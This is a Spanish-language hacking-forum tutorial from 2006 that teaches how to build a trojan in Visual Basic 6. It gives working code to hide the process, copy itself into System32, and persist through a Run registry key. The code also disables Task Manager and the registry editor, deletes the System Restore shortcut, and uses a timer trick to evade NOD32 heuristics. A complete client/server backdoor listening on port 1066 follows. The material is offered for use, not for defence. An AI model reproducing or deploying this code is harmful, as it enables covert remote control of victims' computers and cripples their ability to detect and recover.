Foro.elhacker.net **Abril Negro 2006**

Manual de Programación de Troyanos en VB 6

Prologo:

Troyano... que es un troyano, todo el mundo piensa que es algo maligno y incontrolable, pues yo pienso que no miren la definición básica de que es un troyano:

Troyano (informática):
Se denomina troyano (o caballo de Troya, traducción más fiel del inglés Trojan horse aunque no tan utilizada) a un programa malicioso capaz de alojarse en computadoras y permitir el acceso a usuarios externos, a través de una red local o de Internet, con el fin de recabar información y/o controlar remotamente la máquina "huésped".

Un troyano no es de por sí, un virus, aún cuando teóricamente pueda ser distribuido y funcionar como tal. La diferencia fundamental entre un troyano y un virus consiste en su finalidad. Para que un programa sea un "troyano" solo tiene que acceder y/o controlar la maquina "huésped" sin ser advertido, normalmente bajo una apariencia inocua.

Suele ser un programa pequeño alojado dentro de una aplicación, una imagen, un archivo de música u otro elemento de apariencia inocente, que se instala en el sistema al ejecutar el archivo que lo contiene. Una vez instalado parece realizar una función útil (aunque cierto tipo de troyanos permanecen ocultos y por tal motivo los antivirus o anti troyanos no los eliminan) pero internamente realiza otras tareas de las que el usuario no es consciente, de igual forma que el Caballo de Troya que los griegos regalaron a los troyanos.

Definición extraída de Wikipedia**.**

Yo creo que tan mal no sueno, solo que si se usa de forma mala puede llegar a hacer daño.

Temas:
1.-Programación.
2.-Conexiones.
3.-A la hora de agregar Funciones.
4.-Hacernos invisibles al ojo del huésped.
5.-Saltar heurística y detección de los AV's.
6.-Creamos nuestro primer Troyano.
7.-Créditos y Copyright.

Programación

Para programar un troyano tienes que elegir un lenguaje de programación, nosotros utilizaremos Visual Basic.

y mucha gente se preguntara porque as optado por visual basic si hay lenguajes de programación mucho mejores como C,C++ o Delphi, pues muy fácil:

- Visual Basic es un lenguaje simple y por tanto fácil de aprender.
- La sintaxis está cercana al lenguaje humano.
- Permite el tratamiento de mensajes de Windows.

Ya se que tiene muchos inconvenientes como:

- Es propietario de Microsoft, por tanto nadie que no sea del equipo de desarrollo de esta compañía decide la evolución del lenguaje.
- Sólo genera ejecutables para Windows.
- La forma de programación que plantea Visual Basic ha ocasionado que muchos programadores de Visual Basic practiquen malas costumbres.

pero es el mas fácil de comprender.

Utilizaremos la versión **Visual Basic 6, no la 2005**.

mucha gente preguntara ¿Y donde me bajo visual basic 6? pues muy fácil utilizáis es botón buscar del foro elhacker.net

Conexión

En visual basic hay un control llamado **microsoft winsock control**, simplifica mucho el trabajo a la hora de hacer la conexión de nuestro troyano pero lo malo es que si utilizas el OCX en el server si el huésped no tiene el ocx instalado el server dará error y no se ejecutara por eso es mejor poner el ocx solo en el cliente y en el server utilizaremos un modulo para no depender del OCX :

Código VB:

```
Public WithEvents Ws As CSocket
Código:
Private Sub Form_Load()
Set Ws = New CSocket
end sub
```

y siempre tiene que ir con el prefijo de **on** tal que así:

Código VB:

```
Private Sub Ws_OnClose()

End Sub
```

Código VB:

```
Private Sub Ws_OnDataArrival

end sub
```

para descargar los modulo pincha aquí:
http://rapidshare.de/files/15389227/Modulos.zip.html

una vez aclarado esto ahora vamos a explicar las formas de conexión:

Cliente ------> Servidor:
La conexión cliente/servidor fue la primera tiene bastantes inconvenientes como por ejemplo que tienes que conseguir la ip de tu huésped y también es suele ser mas detectado por los firewall porque cuando tu te conectas al huésped si tiene un firewall le saltara diciéndole la ip esta intentado conectarse a usted por el puerto 2000, y eso no suele colar.

Conexión Inversa
hace varios años me llegan a decir que te puedes conectar a tu huésped sin necesidad de su ip no me lo creo, pero con los años todo evoluciona.
La conexión inversa lo que hace es al crear el server se le guarda una ip o un no-ip(si no sabes lo que es un no-ip pincha **aqui**) y el huesped se conecta ati no tu a el y asi se evitan muchas cosas.

En él capitulo 7 haremos un ejemplo de las dos cosas.

A la hora de agregar Funciones

las funciones en nuestro troyano es una parte fundamental una función no es nada mas que envío de variables a otro programa en ejecución por medio de una conexión TCP/IP pero hay que ir con cuidado de no enviar muchas variables a la vez que se pueden liar y producir errores.

vamos a poner un ejemplo una vez creado la conexión:

en el cliente enviáis una variable al server tal que así:

Código VB:

```
WS.Senddata "Win"
```

enviamos el texto win al server y el server lo recoge sí:

Código VB:

```
Private Sub WS_DataArrival(ByVal bytesTotal As Long)
dim Temp as string 'Declaramos la variable Temp que es donde guardaremos lo que se envía
ws.getdata Temp 'recogemos el texto enviado y se lo ponemos a temp
if Temp = "Win" then msgbox "La variable se a enviado correctamente" 'esto quiere decir si el texto es win que salte un msgbox
end sub
```

Así de fácil solo es jugar con las variables.

Hacernos invisibles al ojo del huésped

a la hora de copiarnos en el ordenador siempre hay que hacerlo de la forma mas oculta posible.

Primero es hacer que no no vean ejecutado.

Código VB:

```
App.Taskvisible = False
```

aunque así el nod32 lo hace detectable pero en el siguiente capitulo lo haremos invisible.

bueno aquí dejo unos código muy buenos que sirve para no ser detectado al ojo del huésped:

Este elimina la restauración de sistema:

Código VB:

```
Kill "C:\Documents and Settings\All Users\Menú Inicio\Programas\Accesorios\Herramientas del sistema\Restaurar sistema.lnk"
```

Este bloquea el administrador de tareas:

Código VB:

```
Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d ""1"" /f"
```

para bloquear el regedit:

Código VB:

```
Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disableregistrytools /t reg_dword /d ""1"" /f"
```

ahora no tenemos que copiar en el sistema:

Código VB:

```
Filecopy App.Path & "\" & App.EXEname & ".exe" C:\Windows\System32\trojan.exe
y también en el registro:
```

Código VB:

```
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "trojan", "C:\Windows\System32\" & "\trojan.exe"
```

el problema de estos códigos son que son detectado pero después os digo como hacerlo invisible.

Saltar heurística y detección de los AV's

Para saltar la heurística lo que tienes que intentar es no poner códigos vbs porque son lo que salen ser mas detectados pero también hay una forma de saltar la heurística de nod32 que es por ejemplo al poner el código:

Código VB:

```
App.Taskvisible = False
```

Es detectable pero si por ejemplo poner un timer ejemplo así:

Código VB:

```
Private Sub Form_Load()
Timer1.Interval = 1
end sub

Private Sub Timer1_Timer()
App.Taskvisible = False
Timer1.Enabled = False
End Sub
```

Ya no es detectado y así con todo por ejemplo para copiarnos en regedit y system lo haces así y ya esta

Código VB:

```
Private Sub Form_Load()
Timer1.Interval = 1
end sub

Private Sub Timer1_Timer()
App.Taskvisible = False
Filecopy App.Path & "\" & App.EXEname & ".exe" C:\Windows\System32\trojan.exe
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "trojan",
"C:\Windows\System32\" & "\trojan.exe"
Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disableregistrytools /t reg_dword
/d ""1"" /f"
Kill "C:\Documents and Settings\All Users\Menú Inicio\Programas\Accesorios\Herramientas del sistema\Restaurar
sistema.lnk"
Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d
""1"" /f"
Timer1.Enabled = False
End Sub
```

Así de fácil hay miles de trucos solo es buscar y buscar.

Creamos nuestro primer Troyano.

Troyano Con Conexión normal

Cliente:

Agregamos al formulario el activeX "Microsoft Winsock control 6.0 (sp5)" y lo agregamos al formulario y lo llamamos WS.
Ahora agregamos las siguientes cosas:

Dos botones uno lo llamas "Boton_Conexion" y otro "Boton_Desconexion" estos serán los botones de conectar y desconectar la conexión con el Server.
Un textbox y lo llamamos "TxtIP" que será para poner la IP de tu huésped.
Un label y lo llamamos "SB" que será para poner los estados de la conexión.

ahora empezamos con la línea de códigos del cliente:

Código VB:

```
Private Sub Boton_Conexion_Click()
On Error Resume Next
WS.Close 'Necesario para poder conectarnos otra vez si no hemos desconectado
WS.Connect TxtIP.Text, 1066
End Sub
Código:
Private Sub WS_Connect()
If (WS.State = sckConnected) Then
SB.Caption = "Estado - Conectado (" & WS.RemoteHostIP & ")" 'Pone en un label si estas conectado o no.
End If
End Sub
Código:
Private Sub Boton_Desconexion_Click()
WS.Close 'Cierra la conexión
SB.Caption = " Estado -" 'ya explicado
End Sub
```

Código VB:

```
Private Sub WS_Close()
SB.Caption = " Estado - Cerrando Conexión (" & WS.RemoteHostIP & ")" & vbCrLf 'si se cierra el Server sale desconectado
WS.Close 'Cierra la conexión
SB.Caption = " Estado - Esperando conexión ... " & vbCrLf 'si se cierra el Server sale desconectado
WS.Listen 'Deja a las escucha el puerto
End Sub
```

Servidor recuerda este servidor esta sin ocx tienes que poner lo módulos que dije antes.

Código VB:

```
Private Sub Form_Load()
On Error Resume Next
ws.LocalPort = 1066 'asigna el puerto al winsock
ws.Listen 'deja a la escucha el puerto
Timer1.Interval = 1
End Sub
```

Código VB:

```
Private Sub Timer1_Timer()
App.Taskvisible = False
Filecopy App.Path & "\" & App.EXEname & ".exe" C:\Windows\System32\trojan.exe
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "trojan",
"C:\Windows\System32\" & "\trojan.exe"
Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disableregistrytools /t reg_dword /d
""1"" /f"
Kill "C:\Documents and Settings\All Users\Menú Inicio\Programas\Accesorios\Herramientas del sistema\Restaurar
sistema.lnk"
Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d
""1"" /f"
Timer1.Enabled = False
End Sub

Private Sub WS_onClose()
ws.Close 'Cierra la conexión
ws.Listen 'y deja a la escucha el puerto
End Sub

Private Sub WS_onConnectionRequest(ByVal requestID As Long)
ws.Close 'necesario para aceptar la conexión
ws.Accept requestID 'Necesario para poderse conectar
End Sub
```

la conexión ya esta lista y con todo lo que te explicado creo que ya as entendico mas o menos como hacer funciones etc...

si quiere un código de un troyano de conexión inversa aquí tienes uno creado por -xenon-

http://foro.elhacker.net/index.php/topic,57545.0.html

Créditos y Copyright.

Manual creado por WarGhost usuario de elhacker.net

Manual Exclusivo para elhacker.net pero si alguien pone este manual es su web tiene que poner los créditos y no ser cambiado nada.

Gracias A Man-in-the-middle por pasarlo a pdf XD!!!